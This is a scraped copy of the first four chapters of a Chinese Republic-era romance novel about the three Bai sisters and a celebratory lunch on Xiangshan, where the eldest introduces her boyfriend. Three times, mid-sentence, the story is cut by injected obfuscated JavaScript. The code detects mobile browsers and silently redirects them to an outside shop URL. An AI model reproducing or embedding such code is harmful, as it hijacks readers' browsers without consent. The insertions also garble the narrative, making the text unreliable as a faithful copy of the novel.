《窈窕[民国]》 1. 第 1 章 夜,十点钟。 白瑾琪一把推开白公馆二楼的一处房门,人往前窜出几步,脚下一蹬身子一扑,整个人便扑进了西式铜床柔软的被褥,皮鞋则被甩在床前的地板上。不知道的,还真当她进的是自己的卧房。 再细看那双皮鞋,鞋面上溅着几处泥点子,鞋底更是沾着厚厚的泥块,一路走进屋里来,在木地板上留下几道泥印子。 白家老二白瑾璎正坐在床旁边的沙发椅子上看书,在白瑾琪推门进来时抬头望了一眼,分明看见了地板上的斑驳样,却也没说什么,只问道:“你又去哪里顽了?这么晚回来,还踩了一脚的泥。” 白瑾琪从床上撑起娇美的小脸来,笑吟吟道:“我去的自然是好地方,不过就不说了,反正你也不会感兴趣的。” 她说得一点不错,白瑾璎的视线早就落回到书本上去了。 白瑾琪大感无趣,撅着小嘴嘟囔着:“二姐成天看书,我真不明白书有什么可看的,京师大学的录取通知书都下来了,竟还捧着书本不放。要是我考上大学,恨不能把中学课本统统撕光了,那才叫痛痛快快地脱离苦海呢!” 白瑾璎抬头瞅了她一眼,说:“你这话要是让爸爸听见了,一准教训你一顿。多少穷苦人家求都求不来一本书看,你还要白白糟踏好东西,哪怕捐了送了,也算是做了一件好事呀。” 白瑾琪自己也知道这话说得不妥,害怕这事关书本笔墨的,哪怕是好脾气的二姐也会给爸爸做个耳报神,也就不敢再接话,随手从她床头捡了本最薄的书翻起来,试图转移注意力。 果不其然,白瑾璎在边上淡淡地出声道:“不要在床上趴着看书,当心把书页压皱了。” 白瑾琪早料到了她会搭理自己的,卖乖般笑了一笑,噘着嘴娇娇地道:“知道啦。上回不当心把你一本大部头扯了个小口子,害你掉了两滴眼泪,被爸爸看见了凭白说了我一通呢。” 她嘻嘻笑着,手上珍爱地抚了抚书页再阖上,恭恭敬敬地重新放回床头柜,这才问:“二姐,明天的庆祝宴,我能带两个朋友一起去吗?行吗?你看大姐不也要带那个姓柳的吗?” 白瑾璎好笑道:“行啊,怎么不行。不过什么姓柳的,那是大姐的男朋友,你不称呼柳大哥,也该叫一声柳先生。” 白瑾琪抿嘴想了想,凑过去拉着白瑾璎的手摇了两下,小声问:“二姐你说,大姐是不是私下里已经把那个柳什么的带给你见过了?” 她心里常常为两个姐姐更加亲密这件事拈酸吃醋,虽说她们全都不是一个娘生的,可谁让自己生得晚,相处的年岁也晚了许多年呢? 至于家里以前的事,她倒也听了不少。 据说大姐的娘亲是爸爸顶顶早前的原配夫人,人生得明艳美丽,性格也爽利,只可惜那时年景不好,跟着爸爸到处辗转打仗又受累,还没等天下太平呢,生下白瑾瑜没多久就撒手人寰了。 之后爸爸打了胜仗又加官进爵,仍旧是一个人拉扯着还是毛头孩子的老大不愿意再娶,大家都说是忘不掉最早的那位夫人哩。 只是这么丁点大的小女孩,光有个大老粗的父亲,没有位细致的母亲管教照料,怎么行?最后,还是当时的副总理亲自牵线做媒,为父亲介绍了一位大家闺秀。 那可真是顶顶温柔有教养的太太,生了白瑾璎,又打小照顾白瑾瑜,可惜也是身体不好,一场肺炎走在了首都医院里。其实,要是她还在世的话,白瑾琪倒是很想见见的,连刺儿头似的老大都不说她一句坏话,还形容她是“活菩萨一般”,那究竟得是什么样的人物? 在那之后就是自己的母亲了。 白瑾琪撇了撇嘴,没再想下去,正好白瑾璎也回答了她的问题:“没有,我哪里见过?也和你一样等着明天的正式介绍呢。” 不管是真是假,白瑾琪心里多少好受了一些,转着圈儿从床上翻身站起,轻快地踱到白瑾璎的梳妆台前左看右看:台面正中间摆着一副珍珠发夹,估计是明天庆祝她考上京师大学的小聚会上预备要戴的,再往旁边看,就是些墨绿墨蓝的缎子丝带。 白瑾琪正是喜欢五彩斑斓的年纪,视线只为洋行橱窗里那些展翅欲飞似的彩色蝴蝶发卡而转动,品不出米白珠子的美丽之处,那些绑头发用的丝带,她就更看不上了,倒是靠里一个托盘里放着个茉莉花排,闻着挺香的。 白瑾琪拿在手上摇了两下,问道:“这是什么?” 白瑾璎远远看了一眼,道:“插头花吧。回来的时候看见一个老人家坐在路边叫卖,怪辛苦的,我就买了一个。” 原来是掐下来的真花,那估摸着留到明天也不能用了,白瑾琪嫌弃似的丢开手,嘟囔道:“我是不懂,你有那些月钱,不买首饰不做衣服,就买那些重得能敲死人的砖块,哦,你管它们叫‘孤本''哩!” 白瑾璎一点不在意,道:“要谈衣服首饰,怎么不去找大姐呢?” 提到这个,白瑾琪就如同被惹毛的刺猬一般,忿忿道:“找她做什么,再被她撵出来吗?你是不知道,我上回不过是拿了她一件首饰在手里看看,她怎么教训我的呢?说我是‘不问自取谓之盗''哩!偏偏她把我赶出来的时候,房间外头还有两个女佣人在打扫,叫我面子往哪里搁呀?” 大概真是性格不太对付,白瑾琪和白瑾瑜大大小小的梁子也结了不少,明里暗里总有点较劲的意思。 白瑾璎都无奈成习惯了,叹气道:“要我说,你原本也不该乱动她的东西。我们是姐妹,最多不过说你两句,别的都不计较,可你到别人家去翻动,别人能不计较吗?” 白瑾琪努着嘴没有说话。 她是小小一张桃心脸,小鼻子小嘴,忽闪着眼睫默不作声的时候,实在有一种万事可以受原谅的娇俏。大概人家也料不到,此刻她心里想的是:别人家的东西我还看不上呢,哼! 不过这话到底不能讲出来。白瑾璎是她和老大之间的和事佬,可不能把她得罪死了,往后有什么事都不好转圜。 于是水灵灵的眼睛转了转,换了个话头问道:“二姐,借我一条丝袜子吧?我新买的那条上回不知道勾到哪里,好大一片都抽丝了。”她笑得甜滋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207995|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滋的,拿到袜子后,道了声谢离开了。 白瑾琪走在回卧房的路上,心情倒也挺舒畅,只是一推开房门,看见自己的母亲陈芳藻坐在里头等她,那阵雀跃的劲头忽然就降下了一半。 这大概也是她会对白瑾瑜和白瑾璎拈酸吃醋的另一个原因吧:她的母亲,既不是被挂在心尖尖上的原配嫡妻,也不是被所有人交口称赞的大家闺秀,不过是跳舞场上一个不出名的舞女罢了。 白齐盛的官越做越大,难免有一些交际场上的应酬,去得再少,还是碰上了一个有手腕的陈芳藻小姐。 白瑾琪也不愿意这样猜度自己的亲妈,不过她到底也和爸爸一起生活了十多年,白齐盛压根儿就不爱去交际场,这点她还是看得出来的。不论如何吧,白齐盛原本只想拿钱打发走这位陈小姐,只是两个月后,陈小姐哭哭啼啼地,抱着肚子重新找上门来。 自从第二位太太去世后,白齐盛早就丢开了再娶妻的心思,可是想想未出世的孩子,又觉得太可怜。最后还是简单办了个仪式,算把陈小姐接进了门,因为并没有签婚书,所以佣人们一律叫她作“姨太太”。 可是姨太太又怎么样?白瑾琪不服气地暗想,终究现在家里,不也就是这一个太太了吗? 陈姨太看见女儿回来了,急匆匆地迎过去拉她,问道:“这么晚才回来,你又野去哪里了?看看你这脏兮兮的一身!” 白瑾琪道:“哪里晚了?我去二姐那里坐了一会儿,明天不是庆祝她升学的小聚会吗,我和她聊会儿天呢。” 听到这,陈姨太细细的眉毛便打了个褶,敦促道:“是呢,你二姐考上了顶好的大学,你那个大姐呢,都已经开始上手做生意了,就我知道的,你爸爸给了她这个数呢!”她伸手比了个六,又在白瑾琪的胳膊上轻轻拧了一把,“你也要争气呀,别一天到晚只想着顽!” 白瑾琪不耐烦听她讲这些,刚想反驳,却听陈姨太又夸她:“不过你知道多找她们聊聊天沟通感情,这也很好,尤其是你大姐,巴结巴结她,总少不了你一口肉吃。” 白瑾琪可不愿意凑到白瑾瑜眼皮子底下做小伏低,不高兴道:“要说巴结,你自己怎么不去呢?” “啊哟,我哪里敢啊?”陈姨太受惊似的,捂着心口往后退一步,“谁叫我只是个姨太太,人家从小就对我冷眉冷眼的,瞧不上我呢!早前还好些,前年她出去留了一年洋,回来更了不得了,那气势真是咄咄逼人,我是不敢去讨她的嫌的。” 你不敢去讨嫌,那我还不敢呢,白瑾琪在心里嘀嘀咕咕。 陈姨太瞥了一眼挂钟,已经是将近夜里十一点了。她按着眼角,摆了摆手道:“好了,不说了,我得快点去睡觉了。你们年轻人爱时髦,这种熬夜的劲头,我是一点也学不来,晚睡一分钟,不知道要生出多少皱纹哦。” 走前又叮嘱了几句,白瑾琪嗯嗯啊啊地敷衍着,心里实在感到无趣。 把手里的丝袜随意地挂到椅背上,往床上坐下后却又想:算了算了,好歹自己亲生的母亲还陪在身边,这也算不错的了。 2. 第 2 章 为着白瑾璎考上京师大学这件可喜可贺的事,家里已为她摆过一桌宴席,第二天在香山的庆祝会,实则更像是由白瑾瑜牵头,单独组织的三姐妹之间的踏青聚会。 因她最近初涉商贸,不时要和洋人打交道的关系,很认识了一些外国朋友,托人订到了香山顶上一座难求的番菜馆的小隔间。 这天一早,白瑾璎和白瑾琪坐汽车从白公馆出发,路上接了白瑾琪的两个朋友钱瑞芝与钱瑞云,算上司机,一车五人,一并往香山开去。 白瑾琪虽还在念中学,在学校里却是个颇为出风头的人物,一来她长得好看,二来家里有个任军务总长的爸爸,即便成绩上不如意一点,那也少不了拥趸吹捧她的人,其中就数钱家这对姐妹花眼色好嘴巴甜,和她走得最近。 一路上,白瑾琪在后座和朋友们叽叽喳喳地聊天,白瑾璎就在副手座安静地听着,不去打断她们。她比后座三人大了三岁,是以对她们总抱着一种看小姑娘们的融让心。 钱瑞芝是姐姐,通常都是由她发起话题,道:“咱们真去香山顶上那间雅丽番菜馆吗?哈!回头让程巧书知道,非嫉妒死她不可!” 妹妹钱瑞云就在边上附和:“可不是,我前几天刚听她念叨过呢,说她爸爸专程打电话去约,结果雅丽那边说,预约已经排到两个月后啦!想不到咱们倒是先吃上了,这都是沾了瑾琪的光!” 白瑾琪尖尖的小下巴微微地抬起,得意道:“那可不,也不看看我是谁。” 白瑾璎便适时地插进一句,对白瑾琪道:“既然知道番菜馆这么难订,到时候见了大姐,可要谢她一声,知道吗?” 白瑾琪立时把下巴收了回来,乖觉地应了一声:“知道了。”分坐在她两侧的钱家姐妹也很识趣,立刻向白瑾璎先道了一声谢,感谢她同意带上她们俩参加聚会。 她们从前来白公馆找白瑾琪顽的时候就见过这位二小姐,通常笑着招呼两句就自行回房间去了,也不打搅她们玩闹,也不拿大人的架子,人很温柔和气,所以和她同坐汽车也不避讳,该怎么聊天就怎么聊天。 汽车一路里开去了城外的香山,盘山而上,停在了半山腰的地方。再往上就都是台阶了,洋车一概开不上去的。 白瑾璎一行人便下了车自己走,这也是她们此行的目的之一,今年的暑气来得晚,虽说是六月份,空气里却还残留着春末夏初的一丝凉气,走在这草木绿荫之间,格外能感觉到一种心旷神怡的清爽。 只是还没走多远,后面的钱瑞芝就倒吸着凉气叫起疼来。原来她今天为着美观,脚上穿了一双白色的带跟皮鞋,难怪走不了几步路。再看钱瑞云也是一样,不过她更能忍,咬牙没叫出来罢了。 钱瑞芝嘟囔着碰了碰白瑾琪的胳膊道:“干嘛不雇个轿夫把我们抬到山顶呢?还得自己一步步地爬上去,太受累了。” 白瑾璎留意到了后头的情况,特意停下来等她们,解释道:“轿夫都是在山脚下揽客的,这样抬一趟才挣得多,这里距离山顶没有多少路了,何况在这里下车的人,大多也就为了走这几步路,呼吸一口新鲜空气,自然也就不会有轿夫等在这里了。不要紧,我们可以慢一点走。” 白瑾琪却不愿意担这个罪名,活像是自己招待不周,害她们受了累似的,回道:“我电话里头讲明了是在山顶上,要走一段山路的,怎么你们一个两个的还穿了高跟皮鞋呢?” 她其实也不乐意自家二姐姐好声好气地去解释,在外人面前,她当然是要帮着家里人的。不过想到这是为白瑾璎办的庆祝宴,她最爱和和美美的气氛,自己也不能真的吵起来。 也就转而安抚道:“好了,咱们平时都是黄包车拉进拉出,正好借这次机会运动一番了。何况报纸上也说了,如今推崇的新式的生活方式,不就是要加强身体锻炼吗?快走吧。” 钱家姐妹本来就是仰她鼻息,白瑾琪都发话了,她们自然没什么好说。 大约再走了十分钟,雅丽番菜馆的大门便映入眼帘了。不愧是在豪绅圈子里都炙手可热的番菜馆,从招牌到门廊,再到那晶莹剔透的玻璃旋转门,没有一处不精致,就连同大门里进进出出的客人,都像是印在画报上的人物一般,雅致非凡。 她们四人刚踏上餐厅前的草坪,还没来得及让西崽带路,只听头顶上有人喊了一句:“瞧,人来了!” 几人抬头看去,只见二楼的露台上,一个穿洋装的美人正倚着栏杆冲她们招手。 那人烫着新式的卷发,一丝不乱地梳拢在脑后,身上穿一身宝石绿竖条纹的洋裙,这本来是很挑剔人的颜色,亏她能穿得这样好看,更不要说她耳垂上坠着的绿宝石小耳环,折射着太阳光线,衬得她这个人都像是在发光似的。 然而她穿戴得再时髦贵气,都抵不过她这个人的明艳美丽,她冲着楼下启唇一笑,真像是富贵的牡丹花热烈地盛开一般。 这就是白家的大小姐,白瑾瑜了。 白瑾琪得了陈芳藻要记得巴结人的指示,又被白瑾璎叮嘱过一句,刚想露个笑脸招呼一声姐姐并柳先生,然抬头一看,傻眼了。 只见白瑾瑜的左右两侧各站了一位先生,一个和她一样靠着栏杆,眉眼尤其深邃英俊,倒像是带了点洋人的血统;相比之下,另一位虽然俊秀,也就显得寡淡一点,只是皮肤格外白皙,微笑着垂眸往下看时,那神态自有一种闲适的贵气。 一时之间,竟分辨不出谁是那位传闻中的秘密男友。 此情此景,白瑾琪的那句称谓硬是不上不下地卡在喉咙里出不来,拉着白瑾璎的胳膊低声求救道:“这、这哪一个是柳先生啊?” 白瑾璎也不知道,只能道:“先上去再说吧。” 反倒是跟在后面的钱瑞芝与钱瑞云喜出望外,她们今早花了大工夫穿衣打扮,本来只是不想在白家的两位小姐面前露怯,不想场上还有位先生哩!这两人里,总有一位不是白家大小姐的男友吧?不枉她们穿着高跟鞋爬了一路台阶了! 几人被西崽引到二楼靠窗台的一处雅座,坐下后,白瑾瑜含着微笑清了清嗓子,总算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207996|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揭开了谜底。 她手心向上,指引一般往那位混血似的英俊男人处一示意,道:“这位就是密斯脱柳,柳世新。” 原来这就是未来姐夫了。白瑾琪暗自嘀咕一句,把那柳世新的脸仔细打量了一番,承认他确实是难得一见的美男子。随即,又把好奇的目光投向了在座的另一位先生。 同她一样抱有好奇心的人不少,那文质彬彬的先生受到如此瞩目,也并不惊慌失态,淡淡一笑道:“我是个不请自来的生朋友,就不劳主人家费心了,由我自己自我介绍吧。我姓孟,孟西洲,算是......”他停顿了一小会儿,接着说,“算是密斯脱柳的同僚吧。” 倒是白瑾瑜接话道:“孟先生太谦虚了,从前我在英国留洋时就听说过你的大名,可惜我入学没有多久,据说你就毕业回国了;更不要说你的职级比世新高出两级,说是他的同僚,那真是叫人无地自容。” 柳世新也在旁边附和道:“是,是,我在公司里见了密斯脱孟,那是要叫声总设计师的。也是巧,今天来的路上正好碰见,听说我们是要去香山踏青,密斯脱孟倒表现出很感兴趣的样子,瑾瑜也不反对。” “我为什么要反对?欢迎还来不及。”白瑾瑜转向白瑾璎笑道,“孟先生曾经还是京师大学的优秀毕业生,虽然专攻的是船舶设计专业,但你有什么关于学校的问题,倒很可以问他一问。” 白瑾璎想不到这其中还有为自己考量的一份深意在,微笑着向孟西洲道了声谢,后者也客气地冲她点了点头。 这样一来,聚会的人员便都到齐了。细算下来,七个人里,两个是白瑾瑜的朋友,两个是白瑾琪的朋友,剩下白瑾璎这个庆功会的主人公,反倒是谁也没带,落得是孤家寡人一个。 非是她没有朋友,而是若再叫三四个人来,人数未免太多,干脆和中学里的朋友们另外再聚,这一次便安心只做一个陪客。 相互介绍之后,之前点的西菜也陆续制好端了上来,众人拿起刀叉边谈边吃。 用了大半,只见白瑾瑜拿胳膊轻轻撞了下柳世新,后者便如同得到指令一般,在用餐布拭了拭嘴角后,从挂在椅子后的纸袋子里取出一个包装精美的礼盒,朝白瑾璎递了过去。 这位柳先生格外礼数周到,恭贺道:“小小心意,祝贺你考上京师大学,这实在是很不容易的,我想不出几年,北京城里又要多出一位女学问家了。” 白瑾璎真有些受宠若惊了,只是对面白瑾瑜冲她悄悄夹了夹眼,那意思是但收无妨,她这才道着谢接过礼盒。 在座两位先生,柳世新是白瑾瑜的男朋友,会给白瑾璎这个妹妹送礼物也算合情合理,另一位孟西洲是初次认识的朋友,大家本没有在意他是不是备了礼,反倒是他自己出声道:“实在惭愧,我先前不知道这是个祝贺升学的宴会,什么也没准备。” 他虽这样说,态度却仍然从容不迫,向半开放的包厢外环视一圈后,道:“我看大厅里有架钢琴,不如我弹首曲子,也算表示我小小的祝贺之意。” 3. 第 3 章 雅丽番菜馆的二楼是圆弧形的构造,所有包厢环绕着正中间的大厅,而那架钢琴,就放置在大厅中央。想必在特殊的日子里,番菜馆也会请乐师们演奏助兴。 孟西洲风度翩翩地起身走出包厢,在向西崽中的领班表明意图后,落座在漆黑色锃亮的钢琴前。下一秒,流畅的音符自他的指尖倾泻而出。 时下许多西式的家庭都会让女孩儿们学习钢琴,算作一种新式风潮。这洋玩意儿,白公馆里也有一架,要说起来,她们家里三个姐妹还都跟着老师学过哩。 白瑾瑜对钢琴顶不耐烦,一首曲子叮叮咚咚练个没玩,也不知道在练些什么,有什么用处,学了没两天就撂担子走人了。白瑾璎自己呢,那真是没有天分,五根细长的手指间仿佛长了蹼似的,放到琴键上就不听使唤。反倒是最小的白瑾琪学得最好,虽然日常的练习有一天没一天的很不勤勉,但至少还算拿得出手,被点名了也能上场弹上两三段。 白瑾璎弹琴不行,鉴赏音乐的能力多少有一点,何况光看他灵活跃动的两手,也知道这位孟西洲先生的水平,远远在小妹白瑾琪之上。 别个雅间的客人们不知道琴声的缘故,只当是优美的背景乐去欣赏,而在白瑾璎一行人,知道孟西洲是专程弹了这一首祝贺曲,出于尊重也好倾慕也好,也就有一个算一个,都把视线投注在他的身上。 除了柳世新。 在这样美丽的音乐里,他很想和白瑾瑜来一个对视的,也为刚才自己的表现,向她讨要一个“奖赏”。只是往女友那里看去,后者的目光却是放在孟西洲的身上,真到了目不转睛的地步,这叫人怎么受得了? 柳世新不耐地撇了撇嘴角,可再看白瑾瑜的侧脸,那白皙的脸颊线条流畅,因为扑了香粉的缘故,隐隐飘着一阵清淡素雅的香风,耳垂上坠着那一滴水滴似的绿玉髓,更把她的精致与美丽映衬出十倍。 柳世新看得心猿意马,见同桌并没有人留意到自己这边,倏地俯下身去,竟想在白瑾瑜的脸上偷印一个吻。 可惜这个举动没有获得成功。白瑾瑜在意识到有什么东西凑近自己的时候猛地往后让了一让,见是柳世新,也就多少明白了他的意图,放冷了脸色瞪了他一眼。 她是很不喜欢在公共场所没分没寸地亲昵的,何况在场还有初次见面的小辈,岂不是凭白让人看笑话?他们交往到现在将近半年,从前柳世新就提出过在人前拥抱或克丝(kiss)的要求,自己从没同意过,怎么他还是犯浑? 另一边,在受到白瑾瑜眼神上的警告后,柳世新到底规规矩矩地坐正了,表示歉意似的冲女友笑了笑,心里却暗自压下一股火气。 也是在这个时候,孟西洲结束了弹奏,迎着众人的鼓掌声回到了包厢里。 那自然免不了一番称赞,白瑾璎拍着手道:“孟先生弹得真好,比我从前的钢琴老师都不遑多让呢。”白瑾琪和钱家姐妹花立刻跟着附和。 轮到柳世新了,他却笑着说:“孟先生这样多才多艺,真叫人吃惊了。要我说,雅丽的老板要是把你雇来,上门的客人起码要再翻一番哩!何况孟先生还有这样登台亮相的娱人的精神,这是很难得的。” 什么登台什么娱人,简直有把孟西洲比作卖艺卖笑之嫌了! 在座数白瑾璎的神经最敏感,立刻觉察出那话里隐含的火药味,脸上的笑容怯怯地收敛起来,不知自己这时候该不该开口讲话。坐在柳世新旁边的白瑾瑜也是暗暗皱眉,刚想说点什么圆个场子,想不到还是孟西洲先开了口。 他一贯的措置裕如,微笑道:“哪里的话,我学音乐,不过是为了自娱,因为出于朋友的情谊,这才献丑了。你说我是娱人,那真叫人伤心。” 孟西洲的态度格外大方友好,几句话便四两拨千斤地化解了险些冷场的局面。 他这样淡定,反倒衬得是柳世新心眼狭隘,以至于他心里那股子无名火越烧越旺,本来笑一笑可以过去的事,硬是抢白道:“既然觉得是献丑,那又为什么专程弹给人听呢?可见还是想露一露本领给人看的。” 这下,就连局外人的钱家姐妹都感觉出了桌上剑拔弩张的气氛,一时间竟没人再说话。 白瑾瑜心里直冒火,也不知道柳世新今天是中了什么邪,真恨不得把他丢出去,就当是没把他带来过。面上却不得不对孟西洲陪一个笑脸,扭头半真半假地教训道:“你今天的话怎么这样多?人家是弹给你听的吗?” 白瑾璎接到姐姐一个眼色,立刻接话道:“是呀,孟先生是弹给我听的,我是一万分的享受和满意。”又向孟西洲道谢。 趁这个空档,白瑾瑜即刻招来了西崽换下大菜,再换上餐后茶点,一来一回地打了一出默契的配合,总算把这一点不和谐的因素,给遮掩了过去。 柳世新这才意识到自己被醋意冲昏了头脑,差点给白瑾瑜闹出一个大大的难堪。 他瞥了眼边上再不往自己这儿看一眼的女友,赔小心似的替她倒上咖啡,添了奶,又加了两块方糖,温柔小意地问:“你喝咖啡总加两块糖的,我没有记错吧?”把杯子往她那里推了一推。 钱瑞芝羡慕道:“密斯脱柳真体贴,连加糖加奶的活儿都一并代劳了,白家大姐姐可是找了个好男友呢。” 柳世新对这话倒很受用,轻声说了句“哪里”,又把杯子往白瑾瑜眼前推近一点。 这个举动,无疑又引起了钱瑞芝与钱瑞云兴奋的低叫,在这样的起哄之下,白瑾瑜也就不便对这份示好置之不理,终究还是接过了咖啡。 在座的人都在笑,孟西洲便也弯了弯嘴角向他们投去一眼,只是那笑容太淡了,竟显得有些轻薄。他径自端起咖啡,既不加奶也不加糖,将那漆黑色的苦液,饮了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207997|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 既然谈到了对爱情的艳羡,那话题自然而然就往罗曼蒂克那一方面而去了。白瑾琪抿着霜淇淋道:“要羡慕也是我们羡慕,二姐姐大可不必呀。你考上了大学,即便是谈恋爱,爸爸一定也是持赞成态度的。” 她一口咬定是“赞成”态度,这就叫人感到振奋,没道理二女儿的恋爱是赞成,大女儿的恋爱就要反对呀。 柳世新只觉得被打了一剂强心针,顿时来了劲头,道:“对,对。别的不敢说,我认识的朋友不少,朋友的朋友里,也不乏优秀的先生,二小姐喜欢什么样的,要是有个具体的标准,我是很愿意帮忙做介绍的。” 白瑾璎一副呆愣愣的模样,不明白突然之间,自己怎么就成了话题的中心人物。再想想对另一半的标准,脑袋里更是一片空白,说不出个所以然来。 白瑾瑜先是对柳世新说:“我妹妹上的是京师大学,还怕没有优秀的先生可以结识吗?”扭头看到白瑾璎的表情,大概觉得很有意思,用吃蛋糕的小勺子朝她一指,灿笑道,“我列一条标准吧,别的都慢说,得是一位能替她拿主意的才好。” 众人笑。 柳世新便趁着这很好的气氛,顺势道:“那正是与我们相反的组合了,我是找了你这么个漂亮能干的女朋友,万事都由你来拿主意哩!”这话终于让白瑾瑜听的舒心了,对他抿了个狡黠又娇媚的微笑。 桌上和乐融融的氛围达到了顶点,钱瑞芝转着乌溜溜的眼珠子,瞥向旁边不怎么参与谈笑的孟西洲,问道:“密斯脱孟怎么说?这世上的先生都各有所好哩,譬如密斯脱柳,就喜欢白大小姐这样能干的女子。您和密斯脱柳是差不多的年纪,应当也有女友了吧?” 将一双忽闪忽闪的大眼睛轻眨着,望向孟西洲。 孟西洲带着很有距离感的客气,并不正面回答,只说:“我今天见了密斯脱柳和白小姐的样子,倒是对爱情这件事产生一点兴趣了。” 那不就是从前没甚兴趣,还没有女友的意思吗?! 钱瑞芝的心怦怦直跳,藏在桌下的手激动地拧着妹妹钱瑞云的胳膊,希望她和自己打配合。于是两姐妹一个问留学的经历,一个便装作向往的样子询问海外的费用,想以此探一探孟西洲的家底。一时之间,所有的问题反倒都冲着孟西洲而去了。 孟西洲未必不知道她们俩是什么心思,始终淡淡地应对。到最后,回答变得极其简略,有些问题干脆不作答了,只是很客气地略笑一下。 他脸上虽看不出腻烦的神色,但白瑾瑜知道孟西洲一定不耐烦了。他是自己请来的客人,那自己就不能不负起一点待客的责任来,便笑着打断他们的对话,招来西崽说:“给那边两位小姐续一杯咖啡吧,说了那么久的话,哪儿有不口渴的。” 同时一道眼风射向白瑾琪,示意那是她带来的客人,望她自己管管好。 4. 第 4 章 白瑾琪一接收到白瑾瑜的眼色,便炸毛似的挺直了背脊,一左一右各踢了一下钱家两姐妹的皮鞋,暗示她们闭嘴。 白瑾瑜肯定不会当众给她难堪,这也算是她一个优点,她从前就对自己说过:“一笔写不出两个白,你在人前下不来台,我的脸上就好看了吗?”不过回去之后的一顿说教,恐怕是少不了了。 她现在真有些后悔,何必为了不矮白瑾瑜一头,硬是把钱瑞芝和钱瑞云邀来呢,她们讲话常常没轻没重,自己也不是不知道。 好在后续有白瑾瑜控场,钱家两姐妹对白瑾琪也很忌惮,虽然钱瑞芝脸上有些不大情愿,但到底还是收敛起来,这场聚会才算是有了个不错的收尾。 孟西洲本来就是自己提出要跟来踏青的,散场后便还是继续留在香山看景。白公馆的司机则原路将钱家姐妹并白瑾琪送回家,本来白瑾璎也要上车,被白瑾瑜挽着手拉到了柳世新的车上,咬耳朵道:“三个小姑娘叽叽喳喳的,过来的一路你还没有听烦吗?” 白瑾璎本来不想打扰他们一对情侣说悄悄话,但白瑾瑜自己提出邀请,耳根子还能得一时清闲,也就没什么不好,欣然接受了。 想不到这一路上,两人倒没有时下摩登情侣那种腻腻歪歪的劲头,仅仅是很正常地聊了聊各自下一周的安排,发现时间上不大凑巧,不能约会后,白瑾瑜便跟白瑾璎说起话来了。 一直到汽车开到白公馆的大门前,白瑾璎先行下车,听见驾驶座上的柳世新喊了一声“瑾瑜”,那恐怕是想单独和姐姐说话,忙不迭先往屋子里去,把这一处空间,留给一对伴侣。 柳世新见白瑾瑜脸色淡淡的,便知道自己今天的表现,还是在她那里留下了坏印象,连忙握着她的手补救道:“我就要走了,之后一周都见不了面,你还不愿意露个笑脸我看吗?” 白瑾瑜从来是有话直说的人,便叹一口气直言道:“不是我故意对你摆脸色,实在你今天对孟先生说话,大有挑衅之嫌,这是何必?你们本来就在一家船务公司做事,他还高你两个职级,我看要不是孟先生大度,你已经把人狠狠得罪一下了。” 柳世新撇了撇嘴,心里承认,嘴上却不服气似的犟道:“我在事务部,他在船舶设计部,职级高两级,也管不到我的头上。” 白瑾瑜见他还在嘴硬,心里感到一瞬的疲惫,却还是耐着性子教他:“那么,‘多结善缘,少结恶缘''这句话,你总该听过吧?他虽不是你的顶头上司,但和比你高两级的上司,总有不少交流吧?你说话做事,真有些只顾眼前一时之快,不念及长远的毛病。” 这话说得一针见血,正是将自己的缺点揭了开来。又柳世新见白瑾瑜一脸正色,是拿很认真的姿态同自己谈话,这是敷衍不过去的。 自己这个女友,虽然在言行上缺少一点小鸟依人的柔美,但给出的意见,往往很中肯实在。 柳世新也就不犟了,放软了态度认错道:“今天的事,是我做的不妥当,你的批评,我是一百个接受的。不过有一点,你满心满眼看着别人的样子,真叫人受不了。不如你也告诉我,怎么控制我这颗心,不受你的影响呢?” 他以这样谦虚的态度询问一个爱情问题,还是当着本人的面问的,连白瑾瑜都一下子招架不住,心脏乱跳了两拍,好笑道:“这叫什么话?难道我这辈子,都不看电影不看洋戏法了吗?” 柳世新便笑着拉住她的手道:“这怎么能一样?不过你能想到这辈子,这对我总是一种鼓舞。” 白瑾瑜这下真说不出话了,只觉得坠着宝石耳环的耳垂发烫似的,那热度渐渐蔓延到脸颊和脖子。半晌,她对柳世新抿了个微笑,轻声道:“好了,谈得也够久了,你快回去吧。” 以柳世新的视角看她,哪里还有刚才的一本正经,眼里并嘴角,都是浸入爱情时的甜蜜含羞哩,唯其她本人有一种端庄孤高的气质,那份娇羞,就格外能触动人的心弦。 柳世新的视线简直不能从她身上移开,热切又小心地问:“我回去了。只是今天见你一面的甜蜜,远不够我回味一个礼拜啊。”握着她手的拇指,轻轻在细腻的手背上抚摩。 白瑾瑜无奈地一笑,踮着脚在他脸上吻了一吻,而柳世新也总算如愿以偿,把心心念念一个吻,落在了那白瓷似的脸颊上。 